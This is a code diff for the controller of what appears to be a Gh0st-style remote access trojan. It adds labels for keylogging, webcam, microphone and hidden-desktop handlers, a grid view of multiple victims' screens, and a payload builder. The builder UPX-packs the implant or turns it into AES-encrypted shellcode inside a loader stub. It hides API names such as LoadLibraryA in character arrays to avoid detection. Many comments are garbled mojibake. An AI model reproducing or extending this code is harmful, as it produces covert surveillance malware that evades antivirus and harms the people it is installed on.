 	{
 		int n = ContextObject->InDeCompressedBuffer.GetBufferLength();
 		if (n < 100) break;
@@ -2033,7 +2085,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
 		Sleep(20);
 		break;
 	}
-	case CMD_EXECUTE_DLL: // 请求DLL
+	case CMD_EXECUTE_DLL: // 请求DLL（执行代码）【L】
 	{
 		DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1);
 		for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i){
@@ -2047,15 +2099,15 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
 		Sleep(20);
 		break;
 	}
-	case COMMAND_PROXY:
+	case COMMAND_PROXY:// 代理映射【x】
 	{
 		g_2015RemoteDlg->SendMessage(WM_OPENPROXYDIALOG, 0, (LPARAM)ContextObject);
 		break;
 	}
-	case TOKEN_HEARTBEAT: case 137:
+	case TOKEN_HEARTBEAT: case 137: // 心跳【L】
 		UpdateActiveWindow(ContextObject);
 		break;
-	case SOCKET_DLLLOADER: {// 请求DLL
+	case SOCKET_DLLLOADER: {// 请求DLL【L】
 		auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
 		bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
 		int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
@@ -2072,95 +2124,95 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
 		SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
 		break;
 	}
-	case COMMAND_BYE: // 主机下线
+	case COMMAND_BYE: // 主机下线【L】
 		{
 			CancelIo((HANDLE)ContextObject->sClientSocket);
 			closesocket(ContextObject->sClientSocket); 
 			Sleep(10);
 			break;
 		}
-	case TOKEN_DRAWING_BOARD:
+	case TOKEN_DRAWING_BOARD:// 远程画板【x】
 	{
 		g_2015RemoteDlg->SendMessage(WM_OPENDRAWINGBOARD, 0, (LPARAM)ContextObject);
 		break;
 	}
-	case TOKEN_DRIVE_LIST_PLUGIN: // 文件管理
+	case TOKEN_DRIVE_LIST_PLUGIN: // 文件管理【x】
 	{
 		g_2015RemoteDlg->SendMessage(WM_OPENFILEMGRDIALOG, 0, (LPARAM)ContextObject);
 		break;
 	}
-	case TOKEN_BITMAPINFO_HIDE: { // 虚拟桌面
+	case TOKEN_BITMAPINFO_HIDE: { // 虚拟桌面【x】
 		g_2015RemoteDlg->SendMessage(WM_OPENHIDESCREENDLG, 0, (LPARAM)ContextObject);
 		break;
 	}
-	case TOKEN_SYSINFOLIST: { // 主机管理
+	case TOKEN_SYSINFOLIST: { // 主机管理【x】
 		g_2015RemoteDlg->SendMessage(WM_OPENMACHINEMGRDLG, 0, (LPARAM)ContextObject);
 		break;
 	}
-	case TOKEN_CHAT_START: { // 远程交谈
+	case TOKEN_CHAT_START: { // 远程交谈【x】
 		g_2015RemoteDlg->SendMessage(WM_OPENCHATDIALOG, 0, (LPARAM)ContextObject);
 		break;
 	}
-	case TOKEN_DECRYPT: { // 解密数据
+	case TOKEN_DECRYPT: { // 解密数据【x】
 		g_2015RemoteDlg->SendMessage(WM_OPENDECRYPTDIALOG, 0, (LPARAM)ContextObject);
 		break;
 	}
-	case TOKEN_KEYBOARD_START: {// 键盘记录
+	case TOKEN_KEYBOARD_START: {// 键盘记录【x】
 			g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
 			break;
 		}
-	case TOKEN_LOGIN: // 上线包
+	case TOKEN_LOGIN: // 上线包【L】
 		{
 			g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject); 
 			break;
 		}
-	case TOKEN_BITMAPINFO: // 远程桌面
+	case TOKEN_BITMAPINFO: // 远程桌面【x】
 		{
 			g_2015RemoteDlg->SendMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject);
 			break;
 		}
-	case TOKEN_DRIVE_LIST: // 文件管理
+	case TOKEN_DRIVE_LIST: // 文件管理【x】
 		{
 			g_2015RemoteDlg->SendMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject);
 			break;
 		}
-	case TOKEN_TALK_START: // 发送消息
+	case TOKEN_TALK_START: // 发送消息【x】
 		{
 			g_2015RemoteDlg->SendMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject);
 			break;
 		}
-	case TOKEN_SHELL_START: // 远程终端
+	case TOKEN_SHELL_START: // 远程终端【x】
 		{
 			g_2015RemoteDlg->SendMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject);
 			break;
 		}
-	case TOKEN_WSLIST:  // 窗口管理
-	case TOKEN_PSLIST:  // 进程管理
+	case TOKEN_WSLIST:  // 窗口管理【x】
+	case TOKEN_PSLIST:  // 进程管理【x】
 		{
 			g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject);
 			break;
 		}
-	case TOKEN_AUDIO_START: // 语音监听
+	case TOKEN_AUDIO_START: // 语音监听【x】
 		{
 			g_2015RemoteDlg->SendMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject);
 			break;
 		}
-	case TOKEN_REGEDIT: // 注册表管理
+	case TOKEN_REGEDIT: // 注册表管理【x】
 		{                            
 			g_2015RemoteDlg->SendMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject);
 			break;
 		}
-	case TOKEN_SERVERLIST: // 服务管理
+	case TOKEN_SERVERLIST: // 服务管理【x】
 		{
 			g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
 			break;
 		}
-	case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
+	case TOKEN_WEBCAM_BITMAPINFO: // 摄像头【x】
 		{
 			g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
 			break;
 		}
-	case CMD_PADDING: {
+	case CMD_PADDING: { // 随机填充
 		Mprintf("Receive padding command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
 		break;
 	}
@@ -2168,6 +2220,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
 			Mprintf("Receive unknown command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
 		}
 	}
+	auto duration = clock() - tick;
+	if (duration > 200) {
+		Mprintf("[%s] Command '%s' [%d] cost %d ms\n", __FUNCTION__, ContextObject->PeerName.c_str(), cmd, duration);
+	}
 }

 LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
@@ -2832,7 +2888,7 @@ void CMy2015RemoteDlg::OnHelpFeedback()

 void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) {
 	if (m_DllList.size() == 0) {
-		MessageBoxA("请将64位的DLL放于 'Plugins' 目录，再来点击此项菜单。"
+		MessageBoxA("请将64位的DLL放于主控程序的 'Plugins' 目录，再来点击此项菜单。"
 			"\n执行未经测试的代码可能造成程序崩溃。", "提示", MB_ICONINFORMATION);
 		char path[_MAX_PATH];
 		GetModuleFileNameA(NULL, path, _MAX_PATH);
@@ -3081,7 +3137,7 @@ int main() {
 */
 void CMy2015RemoteDlg::OnToolGenShellcode()
 {
-	CFileDialog fileDlg(TRUE, _T("dll"), "ServerDll.dll", OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
+	CFileDialog fileDlg(TRUE, _T("dll"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
 		_T("DLL Files (*.dll)|*.dll|All Files (*.*)|*.*||"), AfxGetMainWnd());
 	int ret = 0;
 	try {
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -26,6 +26,7 @@ typedef struct DllInfo {
 //////////////////////////////////////////////////////////////////////////
 #include <unordered_map>
 #include <fstream>
+#include "CGridDialog.h"

 enum {
 	MAP_NOTE,
@@ -159,8 +160,19 @@ public:
 	{
 		CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
 		T* Dlg = new T(this, ContextObject->GetServer(), ContextObject);
-		Dlg->Create(id, GetDesktopWindow());
+		BOOL isGrid = id == IDD_DIALOG_SCREEN_SPY;
+		BOOL ok = (isGrid&&m_gridDlg) ? m_gridDlg->HasSlot() : FALSE;
+		Dlg->Create(id, ok ? m_gridDlg : GetDesktopWindow());
 		Dlg->ShowWindow(Show);
+		if (ok) {
+			m_gridDlg->AddChild((CDialog*)Dlg);
+			LONG style = ::GetWindowLong(Dlg->GetSafeHwnd(), GWL_STYLE);
+			style &= ~(WS_CAPTION | WS_SIZEBOX);  // ȥ<><C8A5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>С
+			::SetWindowLong(Dlg->GetSafeHwnd(), GWL_STYLE, style);
+			::SetWindowPos(Dlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0,
+				SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER | SWP_FRAMECHANGED);
+			m_gridDlg->ShowWindow(isGrid ? SW_SHOWMAXIMIZED : SW_HIDE);
+		}

 		ContextObject->hWnd = Dlg->GetSafeHwnd();
 		ContextObject->hDlg = Dlg;
@@ -197,7 +209,7 @@ public:

 	CStatusBar m_StatusBar;          //״̬<D7B4><CCAC>
 	CTrueColorToolBar m_ToolBar;
-
+	CGridDialog * m_gridDlg = NULL;
 	std::vector<DllInfo*> m_DllList;
 	NOTIFYICONDATA  m_Nid;
 	HANDLE m_hExit;
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -217,10 +217,12 @@
  </ItemDefinitionGroup>
  <ItemGroup>
    <None Include="..\..\Release\ghost.exe" />
+    <None Include="..\..\Release\SCLoader.exe" />
    <None Include="..\..\Release\ServerDll.dll" />
    <None Include="..\..\Release\TestRun.exe" />
    <None Include="..\..\Release\TinyRun.dll" />
    <None Include="..\..\x64\Release\ghost.exe" />
+    <None Include="..\..\x64\Release\SCLoader.exe" />
    <None Include="..\..\x64\Release\ServerDll.dll" />
    <None Include="..\..\x64\Release\TestRun.exe" />
    <None Include="..\..\x64\Release\TinyRun.dll" />
@@ -262,6 +264,7 @@
    <ClInclude Include="Buffer.h" />
    <ClInclude Include="BuildDlg.h" />
    <ClInclude Include="CDrawingBoard.h" />
+    <ClInclude Include="CGridDialog.h" />
    <ClInclude Include="Chat.h" />
    <ClInclude Include="CPasswordDlg.h" />
    <ClInclude Include="CTextDlg.h" />
@@ -332,6 +335,7 @@
    <ClCompile Include="Buffer.cpp" />
    <ClCompile Include="BuildDlg.cpp" />
    <ClCompile Include="CDrawingBoard.cpp" />
+    <ClCompile Include="CGridDialog.cpp" />
    <ClCompile Include="Chat.cpp" />
    <ClCompile Include="CPasswordDlg.cpp" />
    <ClCompile Include="CTextDlg.cpp" />
--- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
@@ -52,6 +52,7 @@
    <ClCompile Include="CDrawingBoard.cpp" />
    <ClCompile Include="IOCPKCPServer.cpp" />
    <ClCompile Include="..\..\common\ikcp.c" />
+    <ClCompile Include="CGridDialog.cpp" />
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="..\..\client\Audio.h" />
@@ -116,6 +117,7 @@
    <ClInclude Include="CDrawingBoard.h" />
    <ClInclude Include="IOCPKCPServer.h" />
    <ClInclude Include="..\..\common\ikcp.h" />
+    <ClInclude Include="CGridDialog.h" />
  </ItemGroup>
  <ItemGroup>
    <ResourceCompile Include="2015Remote.rc" />
@@ -189,6 +191,8 @@
    <None Include="res\string.ico" />
    <None Include="res\upx.exe" />
    <None Include="res\frpc.dll" />
+    <None Include="..\..\Release\SCLoader.exe" />
+    <None Include="..\..\x64\Release\SCLoader.exe" />
  </ItemGroup>
  <ItemGroup>
    <Text Include="..\..\ReadMe.md" />
--- a/server/2015Remote/Buffer.cpp
+++ b/server/2015Remote/Buffer.cpp
@@ -186,16 +186,17 @@ ULONG CBuffer::GetBufferLength() //
 	return len;
 }

-void CBuffer::Skip(ULONG ulPos) {
+std::string CBuffer::Skip(ULONG ulPos) {
 	if (ulPos == 0)
-		return;
+		return "";

 	EnterCriticalSection(&m_cs);
-
+	std::string ret(m_Base, m_Base + ulPos);
 	MoveMemory(m_Base, m_Base + ulPos, m_ulMaxLength - ulPos);
 	m_Ptr -= ulPos;

 	LeaveCriticalSection(&m_cs);
+	return ret;
 }

 // <20>˺<EFBFBD><CBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƕ<EFBFBD><C7B6>̰߳<DFB3>ȫ<EFBFBD><C8AB>. ֻ<><D6BB>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.
--- a/server/2015Remote/Buffer.h
+++ b/server/2015Remote/Buffer.h
@@ -86,7 +86,7 @@ public:
 	BYTE GetBYTE(ULONG ulPos);
 	BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos);
 	ULONG RemoveCompletedBuffer(ULONG ulLength);
-	void Skip(ULONG ulPos);
+	std::string Skip(ULONG ulPos);

 protected:
 	PBYTE	m_Base;
--- a/server/2015Remote/BuildDlg.cpp
+++ b/server/2015Remote/BuildDlg.cpp
@@ -6,6 +6,10 @@
 #include "BuildDlg.h"
 #include "afxdialogex.h"
 #include <io.h>
+#include "InputDlg.h"
+#include <bcrypt.h>
+#include <wincrypt.h>
+#include <ntstatus.h>

 enum Index
 {
@@ -58,6 +62,7 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
 	: CDialog(CBuildDlg::IDD, pParent)
 	, m_strIP(_T(""))
 	, m_strPort(_T(""))
+	, m_strFindden(FLAG_FINDEN)
 {

 }
@@ -77,6 +82,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
 	DDX_Control(pDX, IDC_COMBO_RUNTYPE, m_ComboRunType);
 	DDX_Control(pDX, IDC_COMBO_PROTO, m_ComboProto);
 	DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt);
+	DDX_Control(pDX, IDC_COMBO_COMPRESS, m_ComboCompress);
 }


@@ -84,11 +90,50 @@ BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
 	ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
 	ON_CBN_SELCHANGE(IDC_COMBO_EXE, &CBuildDlg::OnCbnSelchangeComboExe)
 	ON_COMMAND(ID_HELP_PARAMETERS, &CBuildDlg::OnHelpParameters)
+	ON_COMMAND(ID_HELP_FINDDEN, &CBuildDlg::OnHelpFindden)
 END_MESSAGE_MAP()


 // CBuildDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

+std::string ReleaseUPX();
+void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, bool isCompress);
+
+bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer,
+	int ulOriginalLength, bool align = false);
+
+BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size);
+
+typedef struct SCInfo
+{
+	unsigned char aes_key[16];
+	unsigned char aes_iv[16];
+	unsigned char data[4 * 1024 * 1024];
+	int len;
+}SCInfo;
+
+#define GetAddr(mod, name) GetProcAddress(GetModuleHandleA(mod), name)
+
+bool MYLoadLibrary(const char* name) {
+	char kernel[] = { 'k','e','r','n','e','l','3','2',0 };
+	char load[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
+	typedef HMODULE(WINAPI* LoadLibraryF)(LPCSTR lpLibFileName);
+	if (!GetModuleHandleA(name)) {
+		LoadLibraryF LoadLibraryA = (LoadLibraryF)GetAddr(kernel, load);
+		return LoadLibraryA(name);
+	}
+	return true;
+}
+
+void generate_random_iv(unsigned char* iv, size_t len) {
+	typedef HMODULE(WINAPI* LoadLibraryF)(LPCSTR lpLibFileName);
+	typedef NTSTATUS(WINAPI* BCryptGenRandomF)(BCRYPT_ALG_HANDLE, PUCHAR, ULONG, ULONG);
+	char crypt[] = { 'b','c','r','y','p','t',0 };
+	char name[] = { 'B','C','r','y','p','t','G','e','n','R','a','n','d','o','m',0 };
+	MYLoadLibrary(crypt);
+	BCryptGenRandomF BCryptGenRandom = (BCryptGenRandomF)GetAddr(crypt, name);
+	BCryptGenRandom(NULL, iv, len, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
+}

 void CBuildDlg::OnBnClickedOk()
 {
@@ -151,6 +196,8 @@ void CBuildDlg::OnBnClickedOk()
 	}
 	//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
 	CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV0 };
+	if(m_strFindden.GetLength())
+		memcpy(g_ConnectAddress.szFlag, m_strFindden.GetBuffer(), min(sizeof(g_ConnectAddress.szFlag), m_strFindden.GetLength()));
 	g_ConnectAddress.SetAdminId(GetMasterHash().c_str());
 	g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
 	g_ConnectAddress.runningType = m_ComboRunType.GetCurSel();
@@ -216,7 +263,48 @@ void CBuildDlg::OnBnClickedOk()
 		File.Close();
 		CString tip = index == IndexTestRun_DLL ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"ServerDll.dll\"<EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>" : "";
 		tip += g_ConnectAddress.protoType==PROTO_KCP ? "\n<EFBFBD><EFBFBD>ʾ: ʹ<><CAB9>KCPЭ<50><D0AD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7>񣬱<EFBFBD><F1A3ACB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>UDPЭ<50><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ1<CEAA><31>" : "";
-		MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n"+ strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
+		std::string upx;
+		if(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_UPX) upx = ReleaseUPX();
+		if (!upx.empty())
+		{
+			run_upx_async(GetParent()->GetSafeHwnd(), upx, strSeverFile.GetString(), true);
+			MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>UPXѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD>\r\n<EFBFBD>ļ<EFBFBD>λ<EFBFBD><EFBFBD>: " + strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
+		} else {
+			if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC) {
+				DWORD dwSize = 0;
+				LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize);
+				if (data) {
+					int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
+					if (iOffset != -1) {
+						SCInfo* sc = (SCInfo*)(data + iOffset);
+						LPBYTE srcData = (LPBYTE)szBuffer;
+						int srcLen = dwFileSize;
+						if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
+							generate_random_iv(sc->aes_key, 16);
+							generate_random_iv(sc->aes_iv, 16);
+							std::string key, iv;
+							for (int i = 0; i < 16; ++i) key += std::to_string(sc->aes_key[i]) + " ";
+							for (int i = 0; i < 16; ++i) iv += std::to_string(sc->aes_iv[i]) + " ";
+							Mprintf("AES_KEY: %s, AES_IV: %s\n", key.c_str(), iv.c_str());
+
+							struct AES_ctx ctx;
+							AES_init_ctx_iv(&ctx, sc->aes_key, sc->aes_iv);
+							AES_CBC_encrypt_buffer(&ctx, srcData, srcLen);
+							if (srcLen <= 4 * 1024 * 1024) {
+								memcpy(sc->data, srcData, srcLen);
+								sc->len = srcLen;
+							}
+							SAFE_DELETE_ARRAY(srcData);
+							PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".exe"));
+							strSeverFile.ReleaseBuffer();
+							BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
+						}
+					}
+				}
+				SAFE_DELETE_ARRAY(data);
+			}
+			MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n" + strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
+		}
 		SAFE_DELETE_ARRAY(szBuffer);
 		if (index == IndexTestRun_DLL) return;
 	}
@@ -278,6 +366,11 @@ BOOL CBuildDlg::OnInitDialog()
 	m_ComboEncrypt.InsertString(PROTOCOL_HELL, "HELL");
 	m_ComboEncrypt.SetCurSel(PROTOCOL_SHINE);

+	m_ComboCompress.InsertString(CLIENT_COMPRESS_NONE, "<EFBFBD><EFBFBD>");
+	m_ComboCompress.InsertString(CLIENT_COMPRESS_UPX, "UPX");
+	m_ComboCompress.InsertString(CLIENT_COMPRESS_SC, "SHELLCODE");
+	m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
+
 	m_OtherItem.ShowWindow(SW_HIDE);

 	return TRUE;  // return TRUE unless you set the focus to a control
@@ -341,3 +434,14 @@ void CBuildDlg::OnHelpParameters()
 	CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki#<23><><EFBFBD>ɲ<EFBFBD><C9B2><EFBFBD>");
 	ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL);
 }
+
+
+void CBuildDlg::OnHelpFindden()
+{
+	CInputDialog dlg(this);
+	dlg.m_str = m_strFindden;
+	dlg.Init("<EFBFBD><EFBFBD><EFBFBD>ɱ<EFBFBD>ʶ", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ñ<EFBFBD>ʶ<EFBFBD><EFBFBD>Ϣ:");
+	if (dlg.DoModal() == IDOK) {
+		m_strFindden = dlg.m_str;
+	}
+}
--- a/server/2015Remote/BuildDlg.h
+++ b/server/2015Remote/BuildDlg.h
@@ -35,4 +35,7 @@ public:
 	CComboBox m_ComboProto;
 	CComboBox m_ComboEncrypt;
 	afx_msg void OnHelpParameters();
+	CComboBox m_ComboCompress;
+	CString m_strFindden;
+	afx_msg void OnHelpFindden();
 };
--- a/server/2015Remote/CGridDialog.cpp
+++ b/server/2015Remote/CGridDialog.cpp
@@ -0,0 +1,229 @@
+#include "stdafx.h"
+#include "afxdialogex.h"
+#include "CGridDialog.h"
+#include "Resource.h"
+
+BEGIN_MESSAGE_MAP(CGridDialog, CDialog)
+	ON_WM_SIZE()
+	ON_WM_LBUTTONDBLCLK()
+	ON_MESSAGE(WM_CHILD_CLOSED, &CGridDialog::OnChildClosed)
+END_MESSAGE_MAP()
+
+CGridDialog::CGridDialog() : CDialog()
+{
+}
+
+BOOL CGridDialog::OnInitDialog()
+{
+	m_hIcon = ::LoadIconA(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDR_MAINFRAME));
+	SetIcon(m_hIcon, FALSE);
+
+	CDialog::OnInitDialog();
+	return TRUE;
+}
+
+void CGridDialog::SetGrid(int rows, int cols)
+{
+	m_rows = rows;
+	m_cols = cols;
+	m_max = rows * cols;
+	LayoutChildren();
+}
+
+BOOL CGridDialog::AddChild(CDialog* pDlg)
+{
+	if (!pDlg || !::IsWindow(pDlg->GetSafeHwnd()) || m_children.size() >= m_max)
+		return FALSE;
+
+	pDlg->SetParent(this);
+	pDlg->ShowWindow(SW_SHOW);
+
+	// ȥ<><C8A5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>С
+	LONG style = ::GetWindowLong(pDlg->GetSafeHwnd(), GWL_STYLE);
+	style &= ~(WS_CAPTION | WS_THICKFRAME | WS_SIZEBOX | WS_BORDER);
+	::SetWindowLong(pDlg->GetSafeHwnd(), GWL_STYLE, style);
+	::SetWindowPos(pDlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0, SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
+
+	m_children.push_back(pDlg);
+	LayoutChildren();
+	return TRUE;
+}
+
+void CGridDialog::RemoveChild(CDialog* pDlg)
+{
+	auto it = std::find(m_children.begin(), m_children.end(), pDlg);
+	if (it != m_children.end())
+	{
+		(*it)->ShowWindow(SW_HIDE);
+		(*it)->SetParent(nullptr);
+		m_children.erase(it);
+
+		// ɾ<><C9BE> m_origState <20>ж<EFBFBD>Ӧ<EFBFBD><D3A6>Ŀ
+		auto itState = m_origState.find(pDlg);
+		if (itState != m_origState.end())
+			m_origState.erase(itState);
+
+		// <20><><EFBFBD><EFBFBD><EFBFBD>رյ<D8B1><D5B5>Ӵ<EFBFBD><D3B4><EFBFBD><EFBFBD>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>󻯴<EFBFBD><F3BBAFB4>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD> m_pMaxChild
+		if (m_pMaxChild == pDlg)
+			m_pMaxChild = nullptr;
+
+		LayoutChildren();
+	}
+}
+
+LRESULT CGridDialog::OnChildClosed(WPARAM wParam, LPARAM lParam)
+{
+	CDialog* pDlg = (CDialog*)wParam;
+	RemoveChild(pDlg);
+	return 0;
+}
+
+void CGridDialog::LayoutChildren()
+{
+	if (m_children.size() == 0) {
+		// <20>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD><EFBFBD><EFBFBD>
+		if (m_parentStyle != 0)
+		{
+			::SetWindowLong(m_hWnd, GWL_STYLE, m_parentStyle);
+			::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0,
+				SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
+			m_parentStyle = 0;
+		}
+		ShowWindow(SW_HIDE);
+		return;
+	}
+
+	if (m_rows <= 0 || m_cols <= 0 || m_children.empty() || m_pMaxChild != nullptr)
+		return;
+
+	CRect rcClient;
+	GetClientRect(&rcClient);
+
+	int w = rcClient.Width() / m_cols;
+	int h = rcClient.Height() / m_rows;
+
+	for (size_t i = 0; i < m_children.size(); ++i)
+	{
+		int r = (int)i / m_cols;
+		int c = (int)i % m_cols;
+
+		if (r >= m_rows)
+			break; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Χ
+
+		int x = c * w;
+		int y = r * h;
+
+		m_children[i]->MoveWindow(x, y, w, h, TRUE);
+		m_children[i]->ShowWindow(SW_SHOW);
+	}
+}
+
+void CGridDialog::OnSize(UINT nType, int cx, int cy)
+{
+	CDialog::OnSize(nType, cx, cy);
+
+	if (m_pMaxChild == nullptr) {
+		LayoutChildren();
+	}
+	else {
+		// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬<D7B4>£<EFBFBD><C2A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD>
+		CRect rcClient;
+		GetClientRect(&rcClient);
+		m_pMaxChild->MoveWindow(rcClient, TRUE);
+	}
+}
+
+void CGridDialog::OnLButtonDblClk(UINT nFlags, CPoint point)
+{
+	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>󻯵<EFBFBD><F3BBAFB5>Ӵ<EFBFBD><D3B4>ڣ<EFBFBD>˫<EFBFBD><CBAB><EFBFBD>κεط<CEB5><D8B7><EFBFBD><EFBFBD>ָ<EFBFBD>
+	if (m_pMaxChild != nullptr)
+	{
+		// <20>ָ<EFBFBD><D6B8>Ӵ<EFBFBD><D3B4><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>λ<EFBFBD><CEBB>
+		for (auto& kv : m_origState)
+		{
+			CDialog* dlg = kv.first;
+			const ChildState& state = kv.second;
+
+			::SetWindowLong(dlg->GetSafeHwnd(), GWL_STYLE, state.style);
+			::SetWindowPos(dlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0,
+				SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
+
+			dlg->MoveWindow(state.rect, TRUE);
+			dlg->ShowWindow(SW_SHOW);
+		}
+
+		// <20>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD><EFBFBD><EFBFBD>
